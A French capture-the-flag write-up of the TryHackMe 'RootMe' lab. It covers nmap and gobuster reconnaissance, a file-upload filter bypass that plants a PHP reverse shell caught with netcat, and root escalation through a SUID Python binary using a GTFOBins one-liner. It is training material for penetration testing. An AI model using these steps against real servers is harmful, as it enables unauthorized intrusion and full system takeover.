RootMe
Lien vers l’épreuve : https://tryhackme.com/r/room/rrootme
Sommaire
Reconnaissance
nmap -T4 -A rootme.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 14:12 CEST
Nmap scan report for rootme.thm (10.10.156.223)
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/12%OT=22%CT=1%CU=42224%PV=Y%DS=2%DC=T%G=Y%TM=670
OS:A67BC%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10C%T
OS:I=Z%CI=Z%II=I%TS=D)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=
OS:M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4
OS:B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%
OS:DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 31.33 ms 10.9.0.1
2 31.84 ms rootme.thm (10.10.156.223)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.37 seconds
Le scan NMAP met en lumière la présence de 2 ports ouverts : un serveur SSH sur le port 22 et un serveur HTTP Apache en version 2.4.29 sur le port 80.
Analyse du serveur Apache
gobuster dir -u http://rootme.thm -w /usr/share/wordlists/dirb/common.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://rootme.thm
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[...expurgé pour brièveté...]
/css (Status: 301) [Size: 306] [--> http://rootme.thm/css/]
/index.php (Status: 200) [Size: 616]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 305] [--> http://rootme.thm/js/]
/panel (Status: 301) [Size: 308] [--> http://rootme.thm/panel/]
/server-status (Status: 403) [Size: 275]
/uploads (Status: 301) [Size: 310] [--> http://rootme.thm/uploads/]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================
L’outil gobuster nous permet d’identifier une page panel et une page uploads.
Pour l’instant, la page uploads est vide, et la page panel nous permet de téléverser des fichiers.
Nous tentons de téléverser une page PHP permettant d’obtenir un reverse-shell, mais sans succès : Il y a un filtrage sur le type de fichiers autorisés.
Nous utilisons l’outil d’exploitation web Burp Suite afin de trouver un contournement possible à la limitation, et nous parvenons à uploader le reverse-shell en ajoutant un chiffre à la fin de l’extension, indiquant la version de PHP à utiliser.
Le reverse-shell proposé par pentestmonkey nécessitant une version supérieure à 4, et la version actuelle étant la 8, nous nous sommes contenté de tester les valeurs de 4 à 8.
Nous avons à présent téléverser plusieurs versions de notre reverse-shell, il ne nous reste plus qu’à préparer un port en écoute avec Netcat, puis à nous rendre à la page uploads pour vérifier quelle(s) version(s) fonctionne(nt).
La version php5
nous permet d’obtenir un shell fonctionnel.
nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.9.1.73] from (UNKNOWN) [10.10.117.180] 39092
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:17:38 up 9 min, 0 users, load average: 0.00, 0.23, 0.21
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Nous commençons par améliorer notre reverse-shell avec la commande suivante :
Puis nous recherchons le flag utilisateur
find / -iname user.txt -type f 2>/dev/null
/var/www/user.txt
cat /var/www/user.txt
THM{y[...expurgé...]l}
Élévation de privilèges
Cette épreuve est guidée, et nous sommes invités à trouver un fichier avec des permissions SUID. Ce type de permissions permet à n’importe quel utilisateur d’utiliser un programme avec les privilèges du propriétaire.
Nous utiliserons la commande ciblant les SUID (-perm /4000
)
find / -user root -perm /4000 -exec ls -ldbh {} \; 2>/dev/null
[...expurgé pour brièveté...]
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-sr-x 1 root root 3.5M Aug 4 2020 /usr/bin/python
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 146K Jan 31 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec
[...expurgé pour brièveté...]
-rwsr-xr-x 1 root root 43K Jan 8 2020 /bin/mount
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 27K Jan 8 2020 /bin/umount
Il est assez peu courant d’avoir des privilèges aussi élevé sur le binaire Python.
Le site GTFOBins nous permet de trouver la commande nécessaire pour élever nos privilèges et devenir root.
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4#
Nous avons à présent les droits root sur la machine, nous pouvons terminer par trouver le flag root.txt
cat /root/root.txt
THM{p[...expurgé...]n}